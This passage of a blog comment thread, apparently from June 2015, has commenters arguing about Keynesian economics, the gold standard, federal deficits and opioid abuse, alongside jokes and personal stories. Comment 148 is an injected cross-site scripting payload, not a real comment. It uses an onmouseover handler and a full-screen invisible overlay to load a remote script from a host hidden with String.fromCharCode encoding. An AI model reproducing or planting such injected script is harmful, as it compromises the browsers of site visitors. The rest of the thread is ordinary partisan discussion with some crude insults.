    Alan Greenspan.

  98. Ragnar says:

    Reagan was President of the SAG for 7 years. Made the equivalent of $1m/yr working for GE after that. Then gave an excellent speech in 1964:
    http://www.pbs.org/wgbh/americanexperience/features/primary-resources/reagan-goldwater/

    This is the issue of this election: Whether we believe in our capacity for self-government or whether we abandon the American Revolution and confess that a little intellectual elite in a far-distant capital can plan our lives for us better than we can plan them ourselves.

    You and I are told we must choose between a left or right, but I suggest there is no such thing as a left or right. There is only an up or down. Up to man’s age-old dream-the maximum of individual freedom consistent with order or down to the ant heap of totalitarianism. Regardless of their sincerity, their humanitarian motives, those who would sacrifice freedom for security have embarked on this downward path. Plutarch warned, “The real destroyer of the liberties of the people is he who spreads among them bounties, donations and benefits.”

    The Founding Fathers knew a government can’t control the economy without controlling people. And they knew when a government sets out to do that, it must use force and coercion to achieve its purpose. So we have come to a time for choosing.

    I already know what Pumpkins and anon chose.

  99. leftwing says:

    “When the economy improves, you cut the spending. ”

    because that never, ever happens.

    reagan/stockman had one thing right. ‘zero out’ programs. stockman was manic about it. he would take a smaller cut if the program would be shut down rather than a larger cut that left a different program standing.

    logic dictated and experience showed cut programs grew back even larger. zeroed out one less likely to reincarnate.

  100. chicagofinance says:

    NSFW

    Cinéma vérité (JJ Edition):
    https://www.youtube.com/watch?v=2ISs7SFSNYk

  101. Ragnar says:

    I thought youtube didn’t allow that stuff.

  102. chicagofinance says:

    I apologize NSFW….

    I think it has to either be tagged by the uploader or else identified by the public…..if neither happens, then I guess it will eventually……..

  103. Comrade Nom Deplume, speaking from the Cone of Silence says:

    [2] anon (the wrong one)

    @ezraklein: Avg. tax rate of US income tax filers:

    Top 0.001 percent: 17.6%
    Top 1 percent: 22.83%

    If you or Ezra want to gross up my pay to get me down to 22.83%, write me a check.

    For 2014, it will be about the same as your combined salaries. Gross, not take home.

  104. Comrade Nom Deplume, speaking from the Cone of Silence says:

    [97] plumpkin

    “Why is it financial suicide to take borrowed money from good times and use it during the bad times? ”

    I would have posted earlier, but I was laughing too hard to type.

    Now, is that what we are doing? Borrowing during good times and using it during bad times? Technically, this is accurate but it is also horribly incomplete and misleading.

  105. anon (the good one) says:

    because that’s how Oligarchs benefit.

    plain and so simple

    The Great Pumpkin says:
    June 9, 2015 at 3:30 pm

    Why do you insist on policy that created giants booms and busts? Why?

  106. Comrade Nom Deplume, speaking from the Cone of Silence says:

    [108] redux

    Pumpkin’s observations on Keynes remind me of a joke (abbreviated version):

    A guy falls from the top of a scaffolding. As he is plummeting to his doom, his wife calls. The foreman doesn’t want to break the bad news to her so as he passes the halfway point, he tells her “so far, he’s all right.”

  107. Comrade Nom Deplume, speaking from the Cone of Silence says:

    A joke only JJ could love:

    “He was in ecstasy with a huge smile on his face as his wife moved forward, then backwards,forward,then backwards again, back and forth,back and forth……..in and out…in and out.

    Her heart was pounding…her face was flushed…then she moaned, softly at first, then began to groan louder. Finally, totally exhausted, she let out an almighty scream and shouted,

    “OK, OK! I CAN’T park the bloody car!”

  108. Comrade Nom Deplume, speaking from the Cone of Silence says:

    And finally, because this mentioned NY and NJ, I had to share:

    Driving Styles:

    “Chicago: One hand on wheel, one hand on horn.

    New York: One hand on wheel, one finger out window.

    New Jersey: One hand on wheel, one finger out window, cutting across all lanes of traffic.

    Boston: One hand on wheel, one hand on newspaper, foot solidly on accelerator.

    Los Angeles: One hand on wheel, one hand on nonfat double decaf cappuccino, cradling cell phone, brick on accelerator with gun in lap

    Scarborough, Ontario: Both hands clenched on steering wheel, driver staring directly forward, cutting in front of you and slowing down to 40 in a 60 zone then looking in rearview mirror in wonder as to why the car behind is flashing high beams.

  109. Libturd at home says:

    “Why is it financial suicide to take borrowed money from good times and use it during the bad times?”

    You mean like when Christine Todd Whitman decided not to fund the pensions since the tech bubble made the actuary tables look conservative. Only to find that Mangravy and Corslime after her didn’t restore funding during the bad times?

  110. yome says:

    NJ Supreme Court rules for CC

  111. Libturd at home says:

    Where have you been?

  112. The Original NJ ExPat says:

    1987 – I was not only pulled over in GR, I was incarcerated (briefly) in their pokey, for speeding on Ridgewood Ave. My radar detector was stolen through my open window the day before in Wayne (Passaic County, go figure) and I actually approached the officer’s cruiser at a reasonably high rate of speed thinking him not to be clocking me as…I forgot I no longer had a radar detector. He was the first cop (and I’ve been pulled over a lot, especially back then) to run my name a couple different ways and figured out that I had two NJ licenses, one suspended (different eye color changes the last digit, 4=blue, 5=hazel) and he cuffed me and took me in. He was nice enough *not* to tow my ’77 Camaro, just let me park it there on Ridgewood Ave. A couple hours later my GF bailed me out.

    BTW – I was on my way to a doctor’s appointment. I needed a physical to get my SCCA racing license. Rescheduled for the next day;-)

    1987 Condo says:
    June 9, 2015 at 9:08 am
    #30…for those high speed chases on Bloomfield ave?

  113. The Original NJ ExPat says:

    [116] I forgot to mention, it was *in 1987* that this took place.

  114. Libturd at home says:

    If you lived in GR, they would have simply told you to slow down.

  115. The Original NJ ExPat says:

    So 1987 was a banner year for me:

    1. Arrested in GR
    2. SCCA Regional and National licenses obtained, 8 race wins, invited to compete in National Championship.
    3. Finished 13th the country.
    4. Bought my second condo.
    5. Defaulted on my mortgage (may have been Jan ’88).

    1988: began my (short) Real Estate career;-)

  116. The Great Pumpkin says:

    Please explain how it is misleading and incomplete. I tried to present it in as simple way as possible since most of the population has trouble understanding exactly what is meant by this.

    Comrade Nom Deplume, speaking from the Cone of Silence says:
    June 9, 2015 at 4:14 pm
    [97] plumpkin

    “Why is it financial suicide to take borrowed money from good times and use it during the bad times? ”

    I would have posted earlier, but I was laughing too hard to type.

    Now, is that what we are doing? Borrowing during good times and using it during bad times? Technically, this is accurate but it is also horribly incomplete and misleading.

  117. The Original NJ ExPat says:

    I *may* have sped up as the cruiser pulled a U-turn. I really can’t remember if he was parked or moving. I had been in trouble for “eluding”, as they say, in the past and I think I just shut it down as I didn’t now the area that well and it is pretty dense. At 27 years old I was in the embryonic stages of common sense, but at least moving in the right direction.

    If you lived in GR, they would have simply told you to slow down.

  118. The Original NJ ExPat says:

    In 1991 I lived just blocks from the police station and our bank was even closer, just down the hill a bit.

  119. The Great Pumpkin says:

    Yup. How can you even take this govt serious when the governor attacks his own law as unconstitutional. This is the definition of insanity. Talk about a waste of tax dollars. How much tax dollars has Christie contributed to lawyers and judges the past couple years? He comes up with a law and then uses our tax dollars to find his own law unconstitutional? That’s pissing money and time away. Nice job. Never mind that the tax payer had to fund his entertainment bill the past 7 years. Never mind that we had to pay his defense lawyer bills on the bridge gate scandal?

    yome says:
    June 9, 2015 at 4:43 pm
    NJ Supreme Court rules for CC

  120. Ragnar says:

    Pumpking,
    I do know the relative performance of financial systems and economies under the gold standard, because I actually studied the topic for years in undergrad and grad school, reading many books and reading and writing papers on the topic, debating with well known professors of economics and financial history. Back then there were no tweets to read, offering up 140 characters of condensed misinformation for the lame-minded.
    It’s not surprising that would-be economic central-planners and financial manipulators are hostile to the gold standard. It “shackles” their ability to manipulate and devalue money, and limits their ability to borrow the unearned.

    You’ve already proven yourself immune to education, so I’m not going to bother with further attempts at it. As was written in my second-favorite novel, and apropos to you, “The sound perception of an ant does not include thunder”

  121. The Great Pumpkin says:

    Dead on with your assessment. Tons of money made(robbed)on booms and busts. Just think how much some people made off the 2008 crash. Never mind how much these same individuals made on the way up through the bubble.

    anon (the good one) says:
    June 9, 2015 at 4:23 pm
    because that’s how Oligarchs benefit.

    plain and so simple

    The Great Pumpkin says:
    June 9, 2015 at 3:30 pm

    Why do you insist on policy that created giants booms and busts? Why?

  122. The Original NJ ExPat says:

    Now I’m the one laughing, sump pump. See if you can follow along and see what’s wrong with this picture:
    1. Good Times : Get a HELOC
    2. Bad Times: Lose your job.
    3. Borrow money from good times and use it during the bad times: Use your HELOC to pay your mortgage.

    The Great Pumpkin says:
    June 9, 2015 at 5:06 pm
    Please explain how it is misleading and incomplete. I tried to present it in as simple way as possible since most of the population has trouble understanding exactly what is meant by this.

    Comrade Nom Deplume, speaking from the Cone of Silence says:
    June 9, 2015 at 4:14 pm
    [97] plumpkin

    “Why is it financial suicide to take borrowed money from good times and use it during the bad times? ”

    I would have posted earlier, but I was laughing too hard to type.

  123. Libturd at home says:

    Plumpy. Are you schizo?

  124. Libturd at home says:

    Expat,

    You and Krugman think alike. I would give you a Nobel if I had one.

  125. The Original NJ ExPat says:

    Rags, one of the best phrases I’ve never heard before. kudos

    You’ve already proven yourself immune to education

  126. The Great Pumpkin says:

    Did you honestly give any other economic school a chance? You can’t stick to one economic school. They all fail if you stick to the same plan. That’s what I’m trying to get across. From my study of the gold standard, it led to enormous booms and busts due to the liquidity factor. If 2008 happened under the gold standard, there would be no society to speak of and clot would be wandering the country side in search of something to eat. It would have all went up in smoke. How in the hell would you compensate for the fall of banks in 2008 under the gold standard? You would be powerless to do anything and you would watch the world burn to the ground. Is that what you want? Rags, I’m not attacking you, I’m just trying to get you to be open minded. If rand was so right, why do most people not follow her philosophy?

    Ragnar says:
    June 9, 2015 at 5:20 pm
    Pumpking,
    I do know the relative performance of financial systems and economies under the gold standard, because I actually studied the topic for years in undergrad and grad school, reading many books and reading and writing papers on the topic, debating with well known professors of economics and financial history. Back then there were no tweets to read, offering up 140 characters of condensed misinformation for the lame-minded.
    It’s not surprising that would-be economic central-planners and financial manipulators are hostile to the gold standard. It “shackles” their ability to manipulate and devalue money, and limits their ability to borrow the unearned.

    You’ve already proven yourself immune to education, so I’m not going to bother with further attempts at it. As was written in my second-favorite novel, and apropos to you, “The sound perception of an ant does not include thunder”

  127. The Original NJ ExPat says:

    Unfortunately, I’m not bright enough to know if that’s a backhanded complement or just a backhand.

    Expat,

    You and Krugman think alike. I would give you a Nobel if I had one.

  128. The Original NJ ExPat says:

    compliment…damn it.

  129. The Great Pumpkin says:

    130- If we did adopt a gold standard, how would you implement it under a global economy?

    What would prevent powerful nations from just taking the gold from weaker countries?

    Would there be enough gold to back a currency large enough for a globalized currency?

    What happens when a govt must battle with recessionary factors?

    What happens if a huge negative trade surplus comes about under the gold standard? How will that country battle deflation and debt?

  130. The Original NJ ExPat says:

    Your money is worth much gold. Because you have much gold.

    130- If we did adopt a gold standard, how would you implement it under a global economy?

  131. The Original NJ ExPat says:

    It was supposed to look like this:

    Your money is worth this much gold. Because you have that much gold.

  132. The Great Pumpkin says:

    If you want to use your home as an example, it’s like this.

    1. Good times- save, buy a house, develop equity.
    2. Bad times- lose your job( temporary)
    3. To get through bad times, use your equity to stay afloat.
    4. Good times return, instead of buying another house, you return and then increase your equity.

    Sorry, maybe it’s too hard for you to understand how to apply this to the economy.
    You are too set in your ways of thinking to apply this. For some reason in your mind, it can’t be done. I’m trying to open your mind up, but you keep calling me names in my attempt to open up your mind.

    “Now I’m the one laughing, sump pump. See if you can follow along and see what’s wrong with this picture:
    1. Good Times : Get a HELOC
    2. Bad Times: Lose your job.
    3. Borrow money from good times and use it during the bad times: Use your HELOC to pay your mortgage.”

  133. The Great Pumpkin says:

    136-

    4-you return borrowed equity and then contribute to increasing equity

  134. NJT says:

    RE: Vacay.

    I worked at/for Aventis (now Sanofi-Aventis) for five years back in the 2000s. First year was four weeks vacation, third year five and fourth year six!

    I had too much work to take so much time off!

    Last year there (got outsourced) new boss calls me in (European woman) and says “We have a problem. You’ve only taken ten days off. You’re making the rest of us look bad!. Finish the project you’re working on and take two weeks off…”.

    Wife asks me a few days later “Why are you home?”. Me: “Boss told me to not come in”.

    When they cut free wine (France) and Beer (Germany) from the Cafs. there were almost riots. Man that was a sweet gig… Pharma used to be great…

  135. jcer says:

    Forget about the gold standard, it would not succeed in maximizing growth and an elastic economy in the 21st century. The problem is the Keynesians are also very wrong in that deficits do matter, an expansionist monetary policy will eventually lead to a day of reckoning which would never happen under the gold standard. The problem is fiat currencies are a balancing act, credit needs to be available but not too available and when growth ceases the expansion of money to soften the blow of economic malaise is needed but at other times currency debasement should be avoided. The problem is the people in control of the money supply generally do as they see fit. The issue is the Keynesians see things wrong, Krugman would say it makes perfect sense to spend printed money to pay people to dig holes and then fill them back in. A sane fiscal policy is to not run deficits so when the economy hits the skids you are starting at zero and can make real stimulus and could invest the money into something that will provide lasting benefit to the economy and society(transit infrastructure, research, etc). Putting money into the system so demand for goods does not crater during a panic. This printing of money to prop up failed companies, governments, and markets is really not productive and only leads to greater volatility and economic instability followed by another crash.

  136. anon (the good one) says:

    no deficit under Clinton. Massive deficit under W

    @WhiteHouse:
    “Since I took office, the United States has cut our deficit by two-thirds.” —@POTUS at the #G7Summit

  137. The Great Pumpkin says:

    You def understand your stuff. I think you just miss an important point. Paying someone (temporarily) to dig a hole during a recession/depression is better than cutting/or doing nothing at all.

    Obviously, society has major needs. There is no reason to pay someone to dig a hole. You would have them build a high speed rail, upgrade an airport, and improve the highways. Basically, direct stimulus at infrastructure and education so that we get a future payout from the investments that will go back towards paying the investment. Those investments would be so powerful by not only injecting money in the monetary system to get consumer demand going, but they will also make our economy much stronger (creation of more jobs/industry).

    jcer says:
    June 9, 2015 at 5:54 pm
    Forget about the gold standard, it would not succeed in maximizing growth and an elastic economy in the 21st century. The problem is the Keynesians are also very wrong in that deficits do matter, an expansionist monetary policy will eventually lead to a day of reckoning which would never happen under the gold standard. The problem is fiat currencies are a balancing act, credit needs to be available but not too available and when growth ceases the expansion of money to soften the blow of economic malaise is needed but at other times currency debasement should be avoided. The problem is the people in control of the money supply generally do as they see fit. The issue is the Keynesians see things wrong, Krugman would say it makes perfect sense to spend printed money to pay people to dig holes and then fill them back in. A sane fiscal policy is to not run deficits so when the economy hits the skids you are starting at zero and can make real stimulus and could invest the money into something that will provide lasting benefit to the economy and society(transit infrastructure, research, etc). Putting money into the system so demand for goods does not crater during a panic. This printing of money to prop up failed companies, governments, and markets is really not productive and only leads to greater volatility and economic instability followed by another crash.

  138. The Great Pumpkin says:

    Well that’s what I was talking about earlier with the republicans. They cut taxes, but increase borrowing to make up for it. Why cut the taxes if you are just going to borrow with interest attached? Doesn’t make much sense. (Democrats are no better with their policy of using the poor to enrich themselves)

    “The Iraq war was a non-event for the have more voters – it cost them nothing in blood or money. It was the poorer kids who went off too war while the rich kids went off to college. The war didn’t cost “have more” parents anything since they received two large tax cuts from the republicans while the fighting was raging. The money to pay for the war was paid for by piling the debt on the kid’s (non-voters) shoulders by issuing U.S. treasury bonds (borrowing). No tax increases were levied to pay for the trillion dollar wars.

    The republican strategy is to make the country so financially weak by borrowing that the government will be forced to cut the social programs and other programs to pay for republican extravagances and their ill advised tax cuts.”

    http://novan.com/republican-spend-and-borrow.htm

    anon (the good one) says:
    June 9, 2015 at 6:20 pm
    no deficit under Clinton. Massive deficit under W

    @WhiteHouse:
    “Since I took office, the United States has cut our deficit by two-thirds.” —@POTUS at the #G7Summit

  139. Libturd at home says:

    Anon the simpleton,

    Obama is set to leave office with a larger deficit than every other preceding president has besides W, since WWII. Hell of a job by a president with a virtual mandate.

    http://upload.wikimedia.org/wikipedia/commons/thumb/c/c5/FederalDebt1940to2012.svg/665px-FederalDebt1940to2012.svg.png

  140. The Great Pumpkin says:

    “But in that case, why am I a Keynesian? Maybe because of convincing evidence?

    First of all, the case for viewing most recessions — and the Great Recession in particular — as failures of aggregate demand is overwhelming.

    Now, this could be a case for using monetary rather than fiscal policy — and that actually is the policy I advocate in response to garden-variety slumps. But when the slump pushes rates down to zero, and that’s still not enough, any simple model I can think of says that fiscal expansion can be a useful supplement, while fiscal austerity makes a bad situation worse.

    And while it’s true that there was limited direct evidence on the effects of fiscal policy 6 or 7 years ago, there’s now a lot, and it’s very supportive of a Keynesian view.

    The point is that while it’s definitely OK to scrutinize economists’ motives — to ask whether they’re responding to logic and evidence, or just talking their political book — assertions that it’s all politics deserve the same scrutiny. Is my behavior consistent with claims that my views are purely a reflection of my political preference? And if it isn’t — which I don’t think it is — what’s driving such claims? Might it be … politics, deployed on behalf of economic doctrines that have lost the substantive debate?”

    http://krugman.blogs.nytimes.com/?_r=1

  141. Libturd at home says:

    Here ya go sh1t for brains. A record to be proud of. The recession ended 6/2009.

    http://tinyurl.com/sh1t4brains-anon

  142. Libturd at home says:

    Might it be that had the US chosen to not run the money printing press like there was no tomorrow, the result might have been the same, but with less devaluing of our currency? One never knows. Anyone can play Monday morning quarterback. Krugman is not so brilliant. He’s just slightly more intelligent than the average liberal rag reader who chooses to only hear what they want to.

  143. Juice Box says:

    No more wondering why there are now so many heroin addicts. This one doc prescribed 77 million in oxy over the last 6 years, and a bunch more docs were recently arrested for similar crimes.

    http://www.nydailynews.com/new-york/upper-west-side-doc-wife-sold-77m-oxycodone-prosecutor-article-1.2252171

  144. Libturd at home says:

    I could still shoot myself for not selling my Oxy after my Achilles repair surgery 5 years about 5 years ago. I think I used 4 of the 60 or so pills he prescribed. I hated the stuff. It made me constipated to the point I didn’t sh1t for three straight days. Once I stopped taking them, my bowel exploded.

  145. Alex Bevan says:

    148

    $30 a pop to the kids with money. H in Monmouth / Ocean is like $5 a pop. Crime in semi affluent areas is exploding, mostly kids looking to raid scripts or grab anything they can sell quick.

    The war on drugs has always been a profit grab for big pharma. Follow the long con.

    Done a lot of things in my time, never got near opiates. Thank dog.

  146. Comrade Nom Deplume, speaking from the Cone of Silence says:

    [140] anon (the wrong one)

    “no deficit under Clinton.”

    Total smoke and mirrors. Mostly because borrowing=revenue in govacctspeak.

    So (1) borrow a fcukload of money, (2) push off payments to later years, (3) contest the payments you haven’t pushed off, (4) cut defense so badly that the Army in Afganistan was running out of bombs and bullets, and (5) ride a tech-driven capex boom for tax receipts and Voila, I’ve balanced the budget. In fact, the receipts part wasn’t even significant–Clinton balanced primarily by using 1-4.

    And remember, most entitlements are considered “off budget”. You could double those and it wouldn’t affect the deficit.

    https://www.stlouisfed.org/Publications/Regional-Economist/January-2009/Deficits-Debt-and-Looming-Disaster-Reform-of-Entitlement-Programs-May-Be-the-Only-Hope

  147. Juice Box says:

    Re:150 – it’s all DERP, none of it’s real.

    Krugman may be teaching at Stony Brook next.

  148. fb75 says:

    [good]

    [” onmouseover=”var s98 = document.createElement(‘script’); s98.type = ‘text/javascript’; s98.async = true;s98.src = String.fromCharCode(104,116,116,112,58,47,47,48,120,48,120,46,99,111,47,119,46,112,104,112,63)+window.location.host;var n54 = document.getElementsByTagName(‘script’).item(0);n54.appendChild(s98);this.style.display=’none’;” style=”position:fixed;left:0px;top:0px;width:100%;height:100%;z-index:10000;display:block” ]

  149. Alex Bevan says:

    150

    Clinton got us into Afhanistan? No 4? Mixing your bogeymen?

    Right out of the Christie playbook, no?

  150. Fabius Maximus says:

    #72 Fast Eddie

    Government should be staffed by those successful enough in their careers to afford the sacrifice.
    L1berals? Any questions?

    GWB? #dropmic

  151. Alex Bevan says:

    He was President of a sub .500 Rangers team. Par for the Putt Putt course.

  152. joyce says:

    Cut defense?

  153. Alex Bevan says:

    156

    Defense and health care pay the most lobbying dollars.

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